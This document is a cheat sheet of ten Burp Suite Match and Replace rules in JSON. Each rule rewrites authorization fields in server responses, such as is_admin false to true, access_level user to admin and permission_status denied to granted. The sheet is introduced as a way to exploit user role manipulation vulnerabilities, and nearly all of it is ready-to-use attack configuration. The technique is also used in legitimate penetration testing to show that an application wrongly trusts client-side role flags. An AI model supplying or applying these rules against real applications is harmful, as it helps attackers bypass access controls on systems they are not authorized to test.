User Role Manipulation Examples
Use these Burp Suite Match and Replace rules to exploit user role manipulation vulnerabilities:
1. Role Bypass:
{
"comment": "Response Manipulation",
"enabled": true,
"is_simple_match": false,
"rule_type": "response_body",
"string_match": "\"has_role\":false",
"string_replace": "\"has_role\":true"
}
// This rule bypasses role restrictions
// Example: "has_role":false becomes "has_role":true
2. Admin Bypass:
{
"comment": "Response Manipulation",
"enabled": true,
"is_simple_match": false,
"rule_type": "response_body",
"string_match": "\"is_admin\":false",
"string_replace": "\"is_admin\":true"
}
// This rule bypasses admin restrictions
// Example: "is_admin":false becomes "is_admin":true
3. Permission Bypass:
{
"comment": "Response Manipulation",
"enabled": true,
"is_simple_match": false,
"rule_type": "response_body",
"string_match": "\"has_permission\":false",
"string_replace": "\"has_permission\":true"
}
// This rule bypasses permission checks
// Example: "has_permission":false becomes "has_permission":true
4. Access Bypass:
{
"comment": "Response Manipulation",
"enabled": true,
"is_simple_match": false,
"rule_type": "response_body",
"string_match": "\"has_access\":false",
"string_replace": "\"has_access\":true"
}
// This rule bypasses access controls
// Example: "has_access":false becomes "has_access":true
5. Role Status Bypass:
{
"comment": "Response Manipulation",
"enabled": true,
"is_simple_match": false,
"rule_type": "response_body",
"string_match": "\"role_status\":\"unauthorized\"",
"string_replace": "\"role_status\":\"authorized\""
}
// This rule bypasses role status
// Example: "role_status":"unauthorized" becomes "role_status":"authorized"
6. Permission Status Bypass:
{
"comment": "Response Manipulation",
"enabled": true,
"is_simple_match": false,
"rule_type": "response_body",
"string_match": "\"permission_status\":\"denied\"",
"string_replace": "\"permission_status\":\"granted\""
}
// This rule bypasses permission status
// Example: "permission_status":"denied" becomes "permission_status":"granted"
7. Access Level Bypass:
{
"comment": "Response Manipulation",
"enabled": true,
"is_simple_match": false,
"rule_type": "response_body",
"string_match": "\"access_level\":\"user\"",
"string_replace": "\"access_level\":\"admin\""
}
// This rule bypasses access level
// Example: "access_level":"user" becomes "access_level":"admin"
8. User Type Bypass:
{
"comment": "Response Manipulation",
"enabled": true,
"is_simple_match": false,
"rule_type": "response_body",
"string_match": "\"user_type\":\"regular\"",
"string_replace": "\"user_type\":\"admin\""
}
// This rule bypasses user type
// Example: "user_type":"regular" becomes "user_type":"admin"
9. Privilege Level Bypass:
{
"comment": "Response Manipulation",
"enabled": true,
"is_simple_match": false,
"rule_type": "response_body",
"string_match": "\"privilege_level\":\"low\"",
"string_replace": "\"privilege_level\":\"high\""
}
// This rule bypasses privilege level
// Example: "privilege_level":"low" becomes "privilege_level":"high"
10. Role Assignment Bypass:
{
"comment": "Response Manipulation",
"enabled": true,
"is_simple_match": false,
"rule_type": "response_body",
"string_match": "\"role_assigned\":false",
"string_replace": "\"role_assigned\":true"
}
// This rule bypasses role assignment
// Example: "role_assigned":false becomes "role_assigned":true